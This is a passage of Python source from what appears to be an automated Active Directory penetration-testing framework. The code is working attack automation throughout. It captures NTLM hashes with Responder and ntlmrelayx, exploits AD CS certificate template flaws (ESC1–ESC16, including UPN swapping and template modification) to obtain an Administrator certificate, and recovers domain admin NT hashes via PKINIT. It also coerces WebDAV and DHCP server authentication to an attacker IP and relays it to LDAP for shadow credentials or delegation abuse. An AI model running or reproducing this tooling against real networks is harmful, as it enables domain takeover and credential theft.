["pgrep", "-f", "ntlmrelayx"], capture_output=True, text=True, timeout=5
)
ntlmrelayx_running = check.returncode == 0
except Exception:
pass
if ntlmrelayx_running:
log.info("ntlmrelayx already running — relying on it for hash capture")
detail("Hashes will appear in ntlmrelayx output when users browse poisoned shares")
elif tool_exists("responder"):
log.info(f"Starting Responder on {iface} to capture NTLM hashes...")
resp_output = cfg.work_dir / "responder-theft.txt"
resp_proc = run(
["responder", "-I", iface, "-wv"],
cfg, bg=True, outfile=resp_output
)
if hasattr(resp_proc, 'poll'):
bg_procs.append(resp_proc)
else:
log.warning("No Responder available — hashes will only be captured if ntlmrelayx is running")
# 5. Wait briefly for hash captures
ok("NTLM theft files deployed — waiting for users to browse shares...")
max_wait = min(cfg.poison_duration, 120)
waited = 0
while waited < max_wait:
# Check Responder logs for captures
resp_logs = Path("/usr/share/responder/logs")
if resp_logs.is_dir():
for logf in resp_logs.glob("*NTLMv2*.txt"):
if logf.stat().st_mtime > cfg.start_time:
content = logf.read_text()
if "::" in content:
ok("Captured NTLM hash via theft file!")
captured = True
break
if captured:
break
time.sleep(5)
waited += 5
if waited % 30 == 0:
log.info(f"Listening for NTLM theft responses... ({waited}/{max_wait}s)")
# Extract hashes
extract_hashes(cfg)
if captured:
success_box("NTLM theft file drops captured authentication!")
else:
log.info("No immediate captures — files remain on shares for passive collection")
detail("Users browsing the shares will trigger NTLM authentication to your IP")
return captured
finally:
for proc in bg_procs:
try:
proc.terminate()
proc.wait(timeout=5)
except Exception:
try:
proc.kill()
except Exception:
pass
for proc in bg_procs:
if proc in cfg.bg_processes:
cfg.bg_processes.remove(proc)
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# AD CS Enumeration — Certihound (ESC1-17) with certipy fallback
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def _certihound_find(cfg: Config) -> Optional[dict]:
"""Enumerate ADCS via Certihound. Returns {vulns, ca_name, ca_host} or None on failure.
vulns: list[tuple[str, str]] of (ESC_type, template_name).
NT hash auth unsupported — falls back to certipy when nthash-only auth is used.
"""
if not tool_exists("certihound"):
return None
if cfg.nthash and not cfg.password:
log.info("Certihound does not support NT-hash auth — falling back to certipy")
return None
out_dir = cfg.work_dir / "certihound"
out_dir.mkdir(exist_ok=True)
cmd = ["certihound", "-d", cfg.domain, "-u", cfg.username,
"-p", cfg.password, "--dc", cfg.dc_ip,
"-o", str(out_dir), "--format", "both"]
log.info("🔍 Enumerating AD CS with Certihound...")
if cfg.dry_run:
# Don't write openssl-legacy.cnf and don't mutate process env
# in dry-run; let the run() helper print the [DRY RUN] line.
result = run(cmd, cfg, timeout=180)
else:
# OpenSSL 3 disables MD4 by default on Debian/Ubuntu — NTLM needs it
env_prev = os.environ.get("OPENSSL_CONF")
legacy_conf = out_dir / "openssl-legacy.cnf"
legacy_conf.write_text(
"openssl_conf = openssl_init\n"
"[openssl_init]\nproviders = provider_sect\n"
"[provider_sect]\ndefault = default_sect\nlegacy = legacy_sect\n"
"[default_sect]\nactivate = 1\n"
"[legacy_sect]\nactivate = 1\n"
)
os.environ["OPENSSL_CONF"] = str(legacy_conf)
try:
result = run(cmd, cfg, timeout=180)
finally:
if env_prev is None:
os.environ.pop("OPENSSL_CONF", None)
else:
os.environ["OPENSSL_CONF"] = env_prev
if result.returncode != 0:
log.warning("Certihound enumeration failed — falling back to certipy")
return None
# 1. Parse the structured vulnerabilities report
vulns: list[tuple[str, str]] = []
ca_name = cfg.ca_name or ""
ca_host = ""
try:
for vf in sorted(out_dir.glob("*_vulnerabilities.json")):
data = json.loads(vf.read_text())
for item in data.get("vulnerabilities", []):
esc = str(item.get("type", "")).upper()
tmpl = item.get("template") or item.get("ca") or "unknown"
if esc.startswith("ESC"):
vulns.append((esc, tmpl))
if not ca_name and item.get("ca"):
ca_name = item["ca"]
except Exception as e:
log.warning(f"Certihound vulnerabilities parse error: {e}")
# 2. Parse enterprise CA file for DNS hostname
try:
for cf in sorted(out_dir.glob("*_enterprisecas.json")):
data = json.loads(cf.read_text())
for node in data.get("data", []):
props = node.get("Properties", {})
if not ca_name:
ca_name = props.get("caname", "")
if not ca_host:
ca_host = props.get("dnshostname", "")
if ca_host:
break
except Exception as e:
log.warning(f"Certihound CA parse error: {e}")
# Dedupe while preserving order
seen = set()
deduped = []
for v in vulns:
if v not in seen:
seen.add(v)
deduped.append(v)
if not deduped:
log.warning("Certihound ran but detected no ESC vulnerabilities")
return None
if not ca_host and cfg.dc_ip:
ca_host = cfg.dc_ip
ok(f"Certihound: {len(deduped)} vulnerability/ies detected (CA: {ca_name or '?'})")
return {"vulns": deduped, "ca_name": ca_name, "ca_host": ca_host}
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# AD CS Exploitation (ESC1-ESC16 via certipy; ESC5/ESC17 detection-only)
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def _adcs_esc9_esc10_attack(template: str, ca_name: str, esc_type: str,
cfg: Config, pfx_stem: Path,
pfx_path: Path) -> Optional[str]:
"""ESC9/ESC10 UPN-swap attack — bypasses CVE-2022-26923 SID binding.
Requires a victim account whose UPN we can write. Caller controls
the victim via --esc-victim USER:PASS. Always restores UPN in finally.
"""
if not cfg.esc_victim_user or not cfg.esc_victim_password:
log.warning(f" {esc_type} requires --esc-victim USER:PASS (controllable account)")
detail(" Hint: pick a user you have GenericWrite on, or whose password you reset")
return None
victim = cfg.esc_victim_user
victim_pwd = cfg.esc_victim_password
log.info(f" Exploiting {esc_type} via UPN swap: victim={victim} → impersonate Administrator")
# Caller's own creds (used for the LDAP UPN write; presupposes WriteProperty on victim)
auth_args = ["-u", f"{cfg.username}@{cfg.domain}", "-dc-ip", cfg.dc_ip]
if cfg.nthash:
auth_args += ["-hashes", f":{cfg.nthash}"]
else:
auth_args += ["-p", cfg.password]
# 1. Read original UPN so we can restore it
read_cmd = ["certipy", "account"] + auth_args + ["-user", victim, "read"]
read_result = run(read_cmd, cfg, timeout=60)
orig_upn_match = re.search(r"userPrincipalName\s*:\s*(\S+)", read_result.stdout or "")
orig_upn = orig_upn_match.group(1) if orig_upn_match else ""
detail(f" Original UPN of {victim}: {orig_upn or '<unset>'}")
# 2. Swap UPN to "Administrator" (sAMAccountName form, no @domain)
log.info(f" Setting {victim}.userPrincipalName = Administrator")
swap_cmd = ["certipy", "account"] + auth_args + [
"-user", victim, "-upn", "Administrator", "update"
]
swap_result = run(swap_cmd, cfg, timeout=60)
if swap_result.returncode != 0:
log.warning(f" {esc_type}: Failed to update UPN — need WriteProperty on {victim}")
return None
pfx = None
try:
# 3. Enroll cert as victim (uses victim's password, not ours)
log.info(f" Enrolling cert as {victim}@{cfg.domain} via template '{template}'...")
enroll_cmd = [
"certipy", "req",
"-u", f"{victim}@{cfg.domain}", "-p", victim_pwd,
"-dc-ip", cfg.dc_ip,
"-ca", ca_name, "-template", template,
"-out", str(pfx_stem)
]
enroll_result = run(enroll_cmd, cfg, timeout=120)
if enroll_result.returncode == 0 and pfx_path.exists():
ok(f" {esc_type}: Cert enrolled as {victim} with SAN=Administrator")
pfx = str(pfx_path)
else:
log.warning(f" {esc_type}: Cert enrollment failed")
finally:
# 4. ALWAYS restore UPN — even on exception, even if enrollment failed
log.info(f" Restoring {victim}.userPrincipalName")
restore_cmd = ["certipy", "account"] + auth_args + [
"-user", victim, "-upn", orig_upn or "", "update"
]
restore_result = run(restore_cmd, cfg, timeout=60)
if restore_result.returncode == 0:
ok(f" {esc_type}: UPN restored to '{orig_upn or '<unset>'}'")
else:
log.error(f" {esc_type}: FAILED TO RESTORE UPN — manually set "
f"{victim}.userPrincipalName = '{orig_upn}'")
return pfx
def _adcs_exploit_template(template: str, ca_name: str, esc_type: str,
cfg: Config) -> Optional[str]:
"""Exploit a vulnerable AD CS template. Returns PFX path on success, None on failure."""
# certipy appends ".pfx" automatically, so pass the stem without extension
pfx_stem = cfg.work_dir / f"adcs-{esc_type}-{template}"
pfx_path = Path(str(pfx_stem) + ".pfx")
auth_args = ["-u", f"{cfg.username}@{cfg.domain}", "-dc-ip", cfg.dc_ip]
if cfg.nthash:
auth_args += ["-hashes", f":{cfg.nthash}"]
else:
auth_args += ["-p", cfg.password]
if esc_type in ("ESC1", "ESC2", "ESC3", "ESC6"):
# Direct template abuse — request cert with admin UPN
log.info(f" Exploiting {esc_type} via template '{template}'...")
cmd = (
["certipy", "req"] + auth_args +
["-ca", ca_name, "-template", template,
"-upn", f"administrator@{cfg.domain}",
"-out", str(pfx_stem)]
)
result = run(cmd, cfg, timeout=120)
if result.returncode == 0 and pfx_path.exists():
ok(f" {esc_type}: Certificate obtained via template '{template}'")
return str(pfx_path)
elif esc_type == "ESC4":
# Modify template → exploit as ESC1 → ALWAYS restore (try/finally).
# certipy `-save-old` writes <template>.json to the CURRENT WORKING
# DIRECTORY, not cfg.work_dir. We must chdir into work_dir for
# both save and restore so the file lands and is found in the
# same place. Without this, the restore silently no-ops and the
# template stays vulnerable indefinitely — a major hazard on
# customer environments.
log.info(f" Exploiting ESC4: modifying template '{template}' to enable ESC1...")
prev_cwd = os.getcwd()
try:
os.chdir(cfg.work_dir)
save_cmd = (
["certipy", "template"] + auth_args +
["-template", template, "-save-old"]
)
result = run(save_cmd, cfg, timeout=60)
if result.returncode != 0:
log.warning(f" ESC4: Failed to modify template '{template}'")
return None
pfx = None
try:
# Now exploit as ESC1
pfx = _adcs_exploit_template(template, ca_name, "ESC1", cfg)
finally:
# ALWAYS restore original template, even on exception.
# certipy wrote the .json into cfg.work_dir (we chdir'd).
log.info(f" ESC4: Restoring original template configuration...")
old_config = cfg.work_dir / f"{template}.json"
if old_config.exists():
restore_cmd = (
["certipy", "template"] + auth_args +
["-template", template, "-configuration", str(old_config)]
)
run(restore_cmd, cfg, timeout=60)
ok(f" ESC4: Template '{template}' restored")
else:
log.error(f" ESC4: Cannot restore — {old_config} not found! "
f"Template may be left modified! Manually run: "
f"certipy template ... -template {template} -save-old")
finally:
os.chdir(prev_cwd)
return pfx
elif esc_type in ("ESC9", "ESC10"):
# ESC9: template has CT_FLAG_NO_SECURITY_EXTENSION (no SID ext in cert)
# ESC10: DC has weak cert mapping (StrongCertificateBindingEnforcement=0
# or CertificateMappingMethods has 0x4/UPN flag)
# Both bypass CVE-2022-26923 by relying on UPN-based KDC mapping:
# 1. Swap a victim user's UPN to "Administrator"
# 2. Enroll cert as victim → cert SAN = "Administrator"
# 3. Restore UPN
# 4. PKINIT — KDC has no SID to bind against, falls back to UPN match
return _adcs_esc9_esc10_attack(template, ca_name, esc_type, cfg, pfx_stem, pfx_path)
elif esc_type == "ESC7":
# CA officer abuse — enable SubCA template, request, approve
log.info(f" Exploiting ESC7: enabling SubCA template on CA '{ca_name}'...")
enable_cmd = (
["certipy", "ca"] + auth_args +
["-ca", ca_name, "-enable-template", "SubCA"]
)
result = run(enable_cmd, cfg, timeout=60)
if result.returncode != 0:
log.warning(" ESC7: Failed to enable SubCA template")
return None
# Request SubCA cert
req_cmd = (
["certipy", "req"] + auth_args +
["-ca", ca_name, "-template", "SubCA",
"-upn", f"administrator@{cfg.domain}",
"-out", str(pfx_stem)]
)
result = run(req_cmd, cfg, timeout=120)
# ESC7 may require approval — check for request ID
req_id_match = re.search(r"Request ID(?:\s*is)?\s*:?\s*(\d+)", result.stdout or "")
if req_id_match:
req_id = req_id_match.group(1)
log.info(f" ESC7: Approving request ID {req_id}...")
approve_cmd = (
["certipy", "ca"] + auth_args +
["-ca", ca_name, "-issue-request", req_id]
)
run(approve_cmd, cfg, timeout=60)
# Retrieve the cert
retrieve_cmd = (
["certipy", "req"] + auth_args +
["-ca", ca_name, "-retrieve", req_id,
"-out", str(pfx_stem)]
)
result = run(retrieve_cmd, cfg, timeout=60)
if pfx_path.exists():
ok(f" ESC7: Certificate obtained via SubCA")
return str(pfx_path)
else:
# Generic attempt for ESC13, ESC15, etc.
log.info(f" Attempting generic {esc_type} exploit on template '{template}'...")
cmd = (
["certipy", "req"] + auth_args +
["-ca", ca_name, "-template", template,
"-upn", f"administrator@{cfg.domain}",
"-out", str(pfx_stem)]
)
result = run(cmd, cfg, timeout=120)
if result.returncode == 0 and pfx_path.exists():
ok(f" {esc_type}: Certificate obtained via template '{template}'")
return str(pfx_path)
log.warning(f" {esc_type} exploitation failed for template '{template}'")
return None
def _adcs_relay_esc8(ca_host: str, cfg: Config) -> Optional[str]:
"""Exploit ESC8 (HTTP web enrollment) via NTLM relay to CA web service."""
phase_header("AD CS ESC8 — HTTP Enrollment Relay")
pfx_path = cfg.work_dir / "adcs-esc8.pfx"
relay_output = cfg.work_dir / "adcs-esc8-relay.txt"
bg_procs = []
try:
# Start ntlmrelayx targeting the CA web enrollment
log.info(f"Starting ntlmrelayx targeting http://{ca_host}/certsrv/certfnsh.asp...")
relay_cmd = [
"impacket-ntlmrelayx",
"-t", f"http://{ca_host}/certsrv/certfnsh.asp",
"--adcs", "--template", "Machine",
"-smb2support",
]
relay_proc = run(relay_cmd, cfg, bg=True, outfile=relay_output)
if not hasattr(relay_proc, 'poll'):
log.error("Failed to start ntlmrelayx for ESC8")
return None
bg_procs.append(relay_proc)
time.sleep(3)
if relay_proc.poll() is not None:
log.error("ntlmrelayx exited immediately for ESC8 relay")
return None
ok(f"ESC8 relay listener active on {ca_host}")
# Trigger coercion against DC to relay to CA
if cfg.dc_ip and cfg.has_creds:
log.info("Triggering DC authentication coercion for ESC8 relay...")
try_dc_coercion(cfg.attacker_ip, cfg)
# Wait for relay to capture certificate
max_wait = 60
waited = 0
while waited < max_wait:
if relay_output.exists():
content = relay_output.read_text()
# Look for base64 certificate in output
cert_match = re.search(
r"Certificate.*?base64|Got certificate|-----BEGIN CERTIFICATE",
content, re.IGNORECASE
)
if cert_match:
ok("ESC8: Certificate captured via relay!")
# Extract and save PFX
pfx_match = re.search(r"Saved PFX.*?to\s+(\S+\.pfx)", content)
if pfx_match:
captured_pfx = Path(pfx_match.group(1))
if captured_pfx.exists():
import shutil as _shutil
_shutil.copy2(str(captured_pfx), str(pfx_path))
return str(pfx_path)
return str(pfx_path) if pfx_path.exists() else None
time.sleep(3)
waited += 3
log.warning("ESC8 relay: No certificate captured within timeout")
return None
finally:
for proc in bg_procs:
try:
proc.terminate()
proc.wait(timeout=5)
except Exception:
try:
proc.kill()
except Exception:
pass
for proc in bg_procs:
if proc in cfg.bg_processes:
cfg.bg_processes.remove(proc)
def _adcs_auth_pfx(pfx_path: str, cfg: Config) -> bool:
"""Authenticate with a PFX certificate to obtain NT hash via PKINIT.
Tries to authenticate as administrator (the cert SAN); on patched DCs
(CVE-2022-26923 SID binding) this falls back to whoever the requestor
was. The actual recovered identity is parsed from certipy's output.
"""
if not tool_exists("certipy"):
log.warning("certipy not found — cannot authenticate with PFX")
return False
log.info(f"Authenticating with certificate: {pfx_path}")
auth_output = cfg.work_dir / "adcs-auth.txt"
# Force username=administrator so PAC lookup targets DA on unpatched DCs
result = run(
["certipy", "auth", "-pfx", pfx_path, "-dc-ip", cfg.dc_ip,
"-username", "administrator", "-domain", cfg.domain],
cfg, timeout=120, outfile=auth_output
)
output = result.stdout or ""
if auth_output.exists():
output += auth_output.read_text()
# Preferred: parse "Got hash for 'USER@DOMAIN': LM:NT" — gives us the real identity
m = re.search(
r"Got hash for '([^@']+)@[^']*'\s*:\s*[a-fA-F0-9]{32}:([a-fA-F0-9]{32})",
output
)
if m:
recovered_user, nt_hash = m.group(1), m.group(2)
cfg.username = recovered_user
cfg.nthash = nt_hash
cfg.password = ""
is_admin = recovered_user.lower() in ("administrator", "admin")
if is_admin:
success_box("AD CS: Domain Admin NT hash recovered!")
else:
ok(f"AD CS: NT hash recovered for {recovered_user} (CVE-2022-26923 SID binding "
f"prevented impersonation as administrator)")
detail(f"User: {recovered_user} NT: {nt_hash}")
return is_admin # only signal success if we actually got DA
# Fallback: legacy regex without username context
hash_match = re.search(r"(?:NT[: ]+hash)[:\s]+([a-fA-F0-9]{32})", output, re.IGNORECASE)
if hash_match:
cfg.nthash = hash_match.group(1)
log.warning(f"Recovered NT hash {cfg.nthash} but could not determine identity — "
f"assuming current user")
return False
log.warning("Failed to recover NT hash from certificate authentication")
return False
def run_adcs_attack(cfg: Config) -> bool:
"""Exploit AD CS vulnerable certificate templates for domain escalation."""
phase_header("AD CS EXPLOITATION (ESC1-ESC17 detect / ESC1-ESC16 exploit)")
if not tool_exists("certipy"):
log.error("certipy not found — install with: apt install certipy-ad")
return False
if not cfg.has_creds:
log.error("AD CS exploitation requires domain credentials (-u/-p)")
return False
# Priority order for exploitation (ESC5/ESC17 are detection-only — no exploiter)
esc_priority = ["ESC1", "ESC8", "ESC4", "ESC6", "ESC7", "ESC13", "ESC15",
"ESC2", "ESC3", "ESC9", "ESC10", "ESC11", "ESC14", "ESC16",
"ESC5", "ESC17"]
detect_only = {"ESC5", "ESC12", "ESC17"}
# 1a. Try Certihound first (broader coverage + BloodHound CE export)
ch_result = _certihound_find(cfg)
if ch_result:
vulnerabilities = ch_result["vulns"]
ca_name = cfg.ca_name or ch_result["ca_name"]
ca_host = ch_result["ca_host"]
else:
# 1b. Fallback to certipy find
log.info("Enumerating AD CS certificate templates with certipy...")
enum_output = cfg.work_dir / "adcs-enum.txt"
auth_args = ["-u", f"{cfg.username}@{cfg.domain}", "-dc-ip", cfg.dc_ip]
if cfg.nthash:
auth_args += ["-hashes", f":{cfg.nthash}"]
else:
auth_args += ["-p", cfg.password]
result = run(
["certipy", "find"] + auth_args +
["-vulnerable", "-stdout", "-json", "-output", str(cfg.work_dir / "adcs-enum")],
cfg, timeout=180, outfile=enum_output
)
output = result.stdout or ""
if enum_output.exists():
output = enum_output.read_text()
if result.returncode != 0 and not output:
log.error("certipy enumeration failed — check credentials and connectivity")
return False
vulnerabilities = []
# Extract CA name
ca_match = re.search(r"CA Name\s*:\s*(.+)", output)
ca_name = cfg.ca_name or (ca_match.group(1).strip() if ca_match else "")
# Extract CA host for ESC8 — look for DNS Name or CA server hostname
ca_host = ""
for pattern in [
r"DNS Name\s*:\s*(\S+)",
r"CA DNS\s*:\s*(\S+)",
r"dNSHostName\s*:\s*(\S+)",
r"Certificate Authority\s*:.*?DNS Name\s*:\s*(\S+)",
]:
m = re.search(pattern, output, re.IGNORECASE | re.DOTALL)
if m and m.group(1).lower() not in ("enabled", "disabled", "true", "false"):
ca_host = m.group(1).strip()
break
if not ca_host and cfg.dc_ip:
ca_host = cfg.dc_ip
# Find all ESC vulnerabilities with their templates
template_sections = re.split(r"(?=Template Name\s*:)", output)
for section in template_sections:
tmpl_match = re.search(r"Template Name\s*:\s*(\S+)", section)
if not tmpl_match:
continue
template = tmpl_match.group(1)
for esc in esc_priority:
if re.search(rf"\b{esc}\b", section):
vulnerabilities.append((esc, template))
# Check for ESC8 (HTTP enrollment) separately
if re.search(r"Web Enrollment|HTTP.*Enrollment|ESC8", output, re.IGNORECASE):
if ("ESC8", "WebEnrollment") not in vulnerabilities:
vulnerabilities.append(("ESC8", "WebEnrollment"))
if not vulnerabilities:
log.warning("No vulnerable AD CS templates found")
return False
ok(f"Found {len(vulnerabilities)} AD CS vulnerability/ies:")
for esc, tmpl in vulnerabilities:
detail(f" {esc}: {tmpl}")
if ca_name:
detail(f" CA: {ca_name}")
# 3. Attempt exploitation in priority order
# Sort by priority
vuln_sorted = sorted(vulnerabilities,
key=lambda v: esc_priority.index(v[0])
if v[0] in esc_priority else 99)
for esc_type, template in vuln_sorted:
separator()
if esc_type in detect_only:
log.warning(f" {esc_type} detected on '{template}' — no automated exploiter (manual required)")
continue
# ESC8 uses relay, not direct exploitation
if esc_type == "ESC8" and ca_host:
pfx = _adcs_relay_esc8(ca_host, cfg)
elif ca_name:
pfx = _adcs_exploit_template(template, ca_name, esc_type, cfg)
else:
log.warning(f"Cannot exploit {esc_type} — CA name not determined")
continue
if pfx:
# 5. Authenticate with PFX to get NT hash
if _adcs_auth_pfx(pfx, cfg):
success_box(f"AD CS {esc_type} → Domain Admin via certificate!")
return True
else:
log.warning(f"Got PFX via {esc_type} but PKINIT auth failed — trying next")
detail(f"PFX saved: {pfx}")
detail("Manual auth: certipy auth -pfx <file> -dc-ip <dc>")
log.warning("All AD CS exploitation attempts failed")
return False
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# WebDAV Coercion (WebClient Service Abuse)
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def detect_webclient_hosts(cfg: Config) -> list[str]:
"""Scan for hosts with WebClient service running (DAV RPC pipe).
WebClient enables HTTP-based NTLM auth that bypasses SMB signing,
allowing relay to LDAP for Shadow Credentials or RBCD.
"""
log.info("🌐 Scanning for hosts with WebClient service running...")
# webclientservicescanner checks \\pipe\\DAV RPC SERVICE via RPC
scanner = find_tool(
"webclientservicescanner",
paths=[TOOLS_DIR / "WebclientServiceScanner" / "webclientservicescanner.py"]
)
webclient_hosts = []
if scanner and cfg.has_creds:
output_file = cfg.work_dir / "webclient-scan.txt"
auth = f"{cfg.domain}/{cfg.username}:{cfg.password}" if cfg.password else \
f"{cfg.domain}/{cfg.username}"
target = cfg.target_net or cfg.dc_ip
result = run(
scanner.split() + [f"{auth}@{target}"],
cfg, timeout=120, outfile=output_file
)
if output_file.exists():
content = output_file.read_text()
# Parse hosts where WebClient is running
for line in content.splitlines():
if "running" in line.lower() or "enabled" in line.lower():
ip_match = re.search(r"(\d+\.\d+\.\d+\.\d+)", line)
if ip_match:
webclient_hosts.append(ip_match.group(1))
if not webclient_hosts and cfg.has_creds:
# Fallback: use nxc to check named pipe
log.info("Checking WebClient via SMB named pipe scan...")
result = run(
["nxc", "smb", cfg.target_net or cfg.dc_ip] +
_nxc_auth_args(cfg) + ["-M", "webdav"],
cfg, timeout=120, outfile=cfg.work_dir / "webclient-nxc.txt"
)
if result.stdout:
for line in result.stdout.splitlines():
if "webdav" in line.lower() and ("enabled" in line.lower() or "running" in line.lower()):
ip_match = re.search(r"(\d+\.\d+\.\d+\.\d+)", line)
if ip_match:
webclient_hosts.append(ip_match.group(1))
if webclient_hosts:
ok(f"Found {len(webclient_hosts)} host(s) with WebClient running")
for h in webclient_hosts:
detail(h)
else:
log.warning("No hosts with WebClient service found")
return webclient_hosts
def run_webdav_coercion(target: str, cfg: Config) -> bool:
"""Coerce HTTP-based NTLM auth via WebDAV and relay to LDAP.
WebClient auth is HTTP-based (not SMB), so it bypasses SMB signing.
This enables relay to LDAP for Shadow Credentials or RBCD even when
SMB signing is enforced on all hosts.
Chain: coerce WebDAV auth → ntlmrelayx HTTP→LDAP → Shadow Creds/RBCD
"""
phase_header("WebDAV COERCION (WebClient HTTP→LDAP Relay)")
if not cfg.dc_ip:
log.error("Need --dc-ip for WebDAV relay target")
return False
# Check coercion tools before starting relay (avoid wasting resources)
petitpotam = find_tool(
"PetitPotam.py",
paths=[
Path("/usr/share/doc/python3-impacket/examples/PetitPotam.py"),
TOOLS_DIR / "PetitPotam" / "PetitPotam.py",
]
)
if not petitpotam and not tool_exists("coercer"):
log.error("No coercion tool found for WebDAV trigger (need PetitPotam or coercer)")
return False
relay_output = cfg.work_dir / "webdav-relay.txt"
bg_procs = []
try:
# Start ntlmrelayx listening on HTTP (port 80) — relay to LDAP
relay_cmd = [
"impacket-ntlmrelayx",
"-t", f"ldap://{cfg.dc_ip}",
"-smb2support",
"--no-smb-server", # Only listen on HTTP (WebDAV coercion is HTTP)
"-of", str(cfg.work_dir / "webdav-hashes"),
]
if not cfg.no_shadow_creds:
relay_cmd += ["--shadow-credentials", "--shadow-target", f"{target.split('.')[0]}$"]
elif not cfg.no_rbcd:
relay_cmd += ["--delegate-access"]
log.info("🎣 Starting ntlmrelayx HTTP→LDAP relay for WebDAV coercion...")
relay_proc = run(relay_cmd, cfg, bg=True, outfile=relay_output)
if not hasattr(relay_proc, 'poll'):
log.error("Failed to start ntlmrelayx for WebDAV relay")
return False
bg_procs.append(relay_proc)
time.sleep(3)
if relay_proc.poll() is not None:
log.error(f"ntlmrelayx exited immediately (code {relay_proc.returncode})")
return False
# Trigger WebDAV coercion using PetitPotam over HTTP
# PetitPotam with @80/path forces HTTP instead of SMB
log.info(f"🔨 Triggering WebDAV coercion on {target}...")
coerce_target = f"{target}@80/test" # Force HTTP via WebDAV
petitpotam = find_tool(
"PetitPotam.py",
paths=[
Path("/usr/share/doc/python3-impacket/examples/PetitPotam.py"),
TOOLS_DIR / "PetitPotam" / "PetitPotam.py",
]
)
if petitpotam:
coerce_cmd = petitpotam.split() + [
cfg.attacker_ip, coerce_target
]
if cfg.has_creds:
coerce_cmd = petitpotam.split() + [
"-u", cfg.username, "-p", cfg.password, "-d", cfg.domain,
cfg.attacker_ip, target
]
result = run(coerce_cmd, cfg, timeout=30,
outfile=cfg.work_dir / "webdav-coerce.txt")
else:
# Fallback: use coercer with HTTP filter
if tool_exists("coercer"):
coerce_cmd = [
"coercer", "coerce",
"-t", target, "-l", cfg.attacker_ip,
"--filter-transport", "MS-EFSRPC",
]
if cfg.has_creds:
coerce_cmd += ["-u", cfg.username, "-p", cfg.password, "-d", cfg.domain]
result = run(coerce_cmd, cfg, timeout=60,
outfile=cfg.work_dir / "webdav-coerce.txt")
else:
log.error("No coercion tool found for WebDAV trigger")
return False
# Wait for relay capture
time.sleep(10)
if relay_output.exists():
content = relay_output.read_text()
if re.search(r"authenticated|SUCCEED|shadow|delegate|credential",
content, re.IGNORECASE):
ok("🎣 WebDAV coercion succeeded — HTTP auth relayed to LDAP!")
# Look for shadow credential PFX
pfx_files = list(cfg.work_dir.glob("*.pfx"))
if pfx_files:
ok(f"Shadow credential PFX generated: {pfx_files[0]}")
_pkinit_auth(pfx_files[0], "", cfg)
return True
log.warning("WebDAV coercion did not capture relayable auth")
return False
finally:
for proc in bg_procs:
try:
proc.terminate()
proc.wait(timeout=5)
except Exception:
try:
proc.kill()
except Exception:
pass
for proc in bg_procs:
if proc in cfg.bg_processes:
cfg.bg_processes.remove(proc)
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
# DHCP Coercion
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
def detect_dhcp_server(cfg: Config) -> str:
"""Discover DHCP servers on the network via nmap or passive sniff results."""
log.info("🔍 Scanning for DHCP servers...")
if not tool_exists("nmap"):
return ""
target = cfg.target_net or cfg.dc_ip
if not target:
return ""
# DHCP servers typically run on DCs or dedicated servers — scan UDP 67
result = run(
["nmap", "-sU", "-n", "-Pn", "--open", "-p", "67", target],
cfg, timeout=120
)
hosts = re.findall(
r"Nmap scan report for (\d+\.\d+\.\d+\.\d+).*?67/udp\s+open",
result.stdout, re.DOTALL
)
if hosts:
ok(f"DHCP server found: {hosts[0]}")
return hosts[0]
log.warning("No DHCP server detected")
return ""
def run_dhcp_coercion(cfg: Config) -> bool:
"""Coerce DHCP server to authenticate via Kerberos/NTLM.
Uses coercer framework (which includes DHCP coercion methods) or
direct PetitPotam/DFSCoerce against the DHCP server to trigger its
machine account to authenticate to the attacker, then relay to LDAP.
"""
phase_header("DHCP COERCION")
dhcp_server = detect_dhcp_server(cfg)
if not dhcp_server:
log.warning("No DHCP server found — skipping DHCP coercion")
return False
if not tool_exists("coercer") and not tool_exists("PetitPotam.py"):
petitpotam = find_tool("PetitPotam.py", paths=[
Path("/usr/share/doc/python3-impacket/examples/PetitPotam.py"),
TOOLS_DIR / "PetitPotam" / "PetitPotam.py",
])
if not petitpotam:
log.warning("No coercion tool found — skipping DHCP coercion")
detail("Install: pipx install coercer")
return False
relay_output = cfg.work_dir / "dhcp-relay.txt"
bg_procs = []
try:
# Start ntlmrelayx targeting LDAP
relay_cmd = [
"impacket-ntlmrelayx",
"-t", f"ldap://{cfg.dc_ip}",
"-smb2support",
"-of", str(cfg.work_dir / "dhcp-hashes"),
]
if not cfg.no_shadow_creds:
relay_cmd += ["--shadow-credentials"]
elif not cfg.no_rbcd:
relay_cmd += ["--delegate-access"]
log.info("🎣 Starting ntlmrelayx for DHCP coercion relay...")
relay_proc = run(relay_cmd, cfg, bg=True, outfile=relay_output)
if not hasattr(relay_proc, 'poll'):
log.error("Failed to start ntlmrelayx")
return False
bg_procs.append(relay_proc)
time.sleep(3)
if relay_proc.poll() is not None:
log.error(f"ntlmrelayx exited immediately")
return False
# Trigger coercion against the DHCP server
log.info(f"🔨 Triggering coercion on DHCP server {dhcp_server}...")
if tool_exists("coercer"):
coerce_cmd = [
"coercer", "coerce",
"-t", dhcp_server, "-l", cfg.attacker_ip,
]
if cfg.has_creds:
coerce_cmd += ["-u", cfg.username, "-p", cfg.password, "-d", cfg.domain]
else:
# Fallback to PetitPotam
petitpotam = find_tool("PetitPotam.py", paths=[
Path("/usr/share/doc/python3-impacket/examples/PetitPotam.py"),
TOOLS_DIR / "PetitPotam" / "PetitPotam.py",
])
coerce_cmd = petitpotam.split() + [cfg.attacker_ip, dhcp_server]
if cfg.has_creds:
coerce_cmd = petitpotam.split() + [
"-u", cfg.username, "-p", cfg.password, "-d", cfg.domain,
